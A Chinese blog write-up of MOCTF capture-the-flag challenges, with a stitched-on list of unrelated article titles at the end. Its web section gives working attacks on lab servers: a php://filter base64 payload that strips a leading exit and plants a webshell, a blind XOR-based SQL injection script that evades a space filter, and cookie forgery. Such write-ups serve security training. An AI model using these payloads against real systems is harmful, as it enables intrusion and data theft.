MOCTF-WRITE-UP(二)

WEB

Flag在哪?

question:flag到底在哪!

Hint1: 跟一首歌有关。

Hint2: PPAP

answer:

其实一道脑洞题,burp抓包即可看到302跳转

1
2
3
4
5
where is flag!
I have a flag
I have a frog!
ah~ guess where is flag!
There is no flag!

23333典型的PPAP,我们猜测flagfrog.php
但是注意还是得抓包

1
2
3
4
5
6
7
8
GET /web7/frogflag.php HTTP/1.1
Host: 119.23.73.3:5001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close

发送即可得到flag.

死亡退出

question:

Hint1: flag在flag.php,大佬们刷完题记得清理掉tmp中的数据!!!!

answer:

打开看到

<?phpshow_source(__FILE__);$c="<?php exit;?>";@$c.=$_POST['c'];@$filename=$_POST['file']; if(!isset($filename))                    {                                       file_put_contents('tmp.php', ''); }                                 @file_put_contents($filename, $c);include('tmp.php');
?>

两个点:

1.php的exit的绕过,我们可以使用base64编码。

2.文件读取,利用php伪协议读文件流。

因为题目说了flag在flag.php里面,所以写马。

<?php system('cat flag.php'); ?>

然后因为前面有<?php exit; ?>,但是base64解码会把<?;>过滤掉,所以出来的是phpexit,而“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

payload:

c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

post拿到flag。

参考链接(p师傅的文章):

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

美味的饼干

question:好吃!美味!

answer:

看到一个登陆界面,尝试用户名admin,密码123.

显示登录成功!欢迎admin

题目名是饼干,那么我们f12看一下cookie。

发现一串base64字符串。解码看一下是md5,再解密。得到user

我们使用admin用md5加密再base64之后改包发回去。得到flag。

火眼金睛

question:汝可千军万马之中识得吾项上flag?

answer:打开看到文本框里面很多字母,然后2秒刷新一次,发现字符串并不会变。写脚本计数得flag。

贴脚本:

import requests
import re
url = "http://119.23.73.3:5001/web10/index.php"
r = requests.get(url=url)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt =  re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
data = {"answer":number
}
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=data,cookies=r.cookies)
print s.content

简单注入

question:WOW!SQL injection is interesting!

answer:f12代码审计一下发现有?id=1的字样,说明id这是注入点。

测试?id=1,页面无回显。再测?id=1' or 1=1

发现出现

WHAT A FUCK!

可能过滤了空格,测试?id=1   '

依然报fuck。所以过滤了空格。我们用%0a或者使用/**/代替。

测试

1'/**/order/**/by/**/3#
没用,很烦。测了n久。

注意以下几点

  1. 空格可以用圆括号替换
  2. substr用left替换
  3. 为了避免查询出来的字符串有ban掉的字符,hex后再进行比较
  4. limit可以改成group_concat,直接查出所有数据
参考一叶飘零师傅的思路,可以用异或。
1
2
3
4
http://119.23.73.3:5004/?id=1'^'1
回显为空白
http://119.23.73.3:5004/?id=1'^'0
回显为Hello
import requests
flag = ""
for i in range(1,300):
for j in range(33,127):
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
r=requests.get(url=url)
if "Tip" in r.content:
flag +=chr(j)
print flag
break

得flag。

CRYPTO

贝斯族谱

一串base加密的字符串。

Vm0weGQxSXlSblJWV0d4WFlUSm9WRll3WkRSV01XeHlXa1pPYUZKc1NsWldSM1JQVmpGS2RHVkVRbFZXYkhCUVdWZHplRll4VG5OWGJGcFhaV3RhU1ZkV1kzaFRNVTVYVW01S2FGSnRhRzlVVm1oRFZWWmFjbHBFVWxSaVZrWTFWa2QwYTJGc1NuUlZiRkphWWtkU2RscFdXbXRXTVZaeVdrWndWMkV6UWpaV01uUnZWakZhZEZOc1dsaGlSMmhvVm1wT2IxTXhjRmhsUjBaWFlrZFNlVll5ZUVOV01rVjNZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9=

脚本跑一下解出:ngn_qp{qdudtms0u1fz}
明显的栅栏凯撒古典密码。
20个字符,栅栏加密可能是2,4,5,10.
都试一下发现是4.
得到npdug{t1nqmf_dszqu0}
凯撒跑一下得到flag。

奇怪汉字

question:2099年,年轻的江先生因为实在没钱于是将自己的魔法棒带到当铺出售,但当铺老板却给了他一张纸,上面这样写道:

由口中 由由夫 由由口 由由口 由中由

answer:典型当铺密码。对着表读一下得到flag。

MISC

捉迷藏

answer:一进去就看到一个假flag......并没有比我皮。

把图片放winhex里面看一下,在末尾看到了flag.txt,zip压缩包文件格式的痕迹。

binwalk -e提取,得到flag.txt,看到里面是一串ASCII码,转一下字符得flag。

只写一点,有时间再补。(ε=ε=ε=┏(゜ロ゜;)┛逃

MOCTF-WRITE-UP(二)相关推荐

  1. 条形码?二维码?生成、解析都在这里!

    二维码生成与解析 一.生成二维码 二.解析二维码 三.生成一维码 四.全部的代码 五.pom依赖 直接上代码: 一.生成二维码 public class demo {private static fi ...

  2. 【ReactiveX】基于Golang pmlpml/RxGo程序包的二次开发

    基于Golang pmlpml/RxGo程序包的二次开发[阅读时间:约20分钟] 一.ReactiveX & RxGo介绍 1.ReactiveX 2.RxGo 二.系统环境&项目介绍 ...

  3. 2022-2028年中国二次供水产业发展动态及投资战略规划报告

    [报告类型]产业研究 [报告价格]4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国二次供水行业市场行业相关概述.中国二次供 ...

  4. 2022-2028年中国二次供水设备行业研究及前瞻分析报告

    [报告类型]产业研究 [报告价格]4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国二次供水设备行业市场行业相关概述.中国二 ...

  5. OpenCV 笔记(08)— 二维点、三维点、基于 Mat 的 std::vector 等常用数据结构的定义和输出

    1. 定义和输出二维点 Point2f p2(3, 4);cout << "[二维点] is "<< endl << p2 << e ...

  6. python内置库之学习ctypes库(二)

    ctypes库踩坑日记2 一.自己实现一个dll文件,再用python的ctypes库调用思路1更清晰 二.生成dll文件 三.ctypes库调用 一.自己实现一个dll文件,再用python的cty ...

  7. 前端Vue学习之路(二)-Vue-router路由

    Vue学习之路 (二) Vue-router(基础版) 一.增加静态路由 二.动态路由+路由嵌套+404页面 三. 编程式导航 四.命名路由 五.命名视图 六.重定向和起别名 1.重定向 2.起别名 ...

  8. Bert代码详解(二)重点

    这是bert的pytorch版本(与tensorflow一样的,这个更简单些,这个看懂了,tf也能看懂),地址:https://github.com/huggingface/pytorch-pretr ...

  9. word2vec 中的数学原理详解(二)预备知识

    版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/peghoty/article/details/37969635 https://blog.csdn. ...

  10. LeetCode简单题之二叉搜索树的最小绝对差/最小距离

    题目 给你一个二叉搜索树的根节点 root ,返回 树中任意两不同节点值之间的最小差值 . 差值是一个正数,其数值等于两值之差的绝对值. 示例 1: 输入:root = [4,2,6,1,3] 输出: ...

最新文章

  1. minAreaRect函数
  2. 【Tiny4412】制作最小文件系统脚本
  3. Maven 项目创建 找不到web.xml
  4. 2021牛客第一场H.Hash Function—FFT求差值的卷
  5. Python 文件读写
  6. java servlet 转发和重定向_JavaWeb(一)Servlet中乱码解决与转发和重定向的区别
  7. mysql模糊查询 or_mysql的模糊查询
  8. 8月8日发布!三星Galaxy Note 10+ 5G版FCC认证示意图泄露
  9. [zoj]3575 Under Attack III
  10. 在win7物理机,使用vmware,3台centos7系统,分别部署httpd,php-fpm,mariadb
  11. hightec教程_如何用VectorCAST/C++做单元集成测试?
  12. Markdown MarkdownPad2 win10上显示awesomium
  13. 《CSS权威指南》读书笔记4
  14. 从键盘上输入10个数,求其平均值。
  15. sleuth feign instrument 分析
  16. StataIC——线性回归计算个股的β值
  17. 百利药业IPO过会:扣非后年亏1.5亿 奥博资本是股东
  18. 国内FRM证书福利政策大全
  19. XposedZjDroid脱壳梆梆加固
  20. 【数据分析案例】美国2015-2018年牛油果销售数据分析

热门文章

  1. pdo_mysql扩展库_MySQL数据库之PDO扩展
  2. Windows下的SysWow64和System32
  3. Unity控制摄像机缓慢移动的代码(插值计算 非常丝滑)
  4. 虚幻4渲染编程(材质编辑器篇)【第六卷:各向异性材质玻璃材质】
  5. 【生信分析】基于TCGA肿瘤数据进行基因共表达网络分析
  6. 全自动加药装置详细介绍
  7. 伦斯勒理工学院计算机科学专业强吗,2020年伦斯勒理工学院排名TFE Times美国最佳计算机科学硕士专业排名第59...
  8. android时间格式am pm,pm时间(am.pm正确时间书写格式)
  9. 我用二手书,在这里换了一大箱好书
  10. 前端清除缓存的集中方法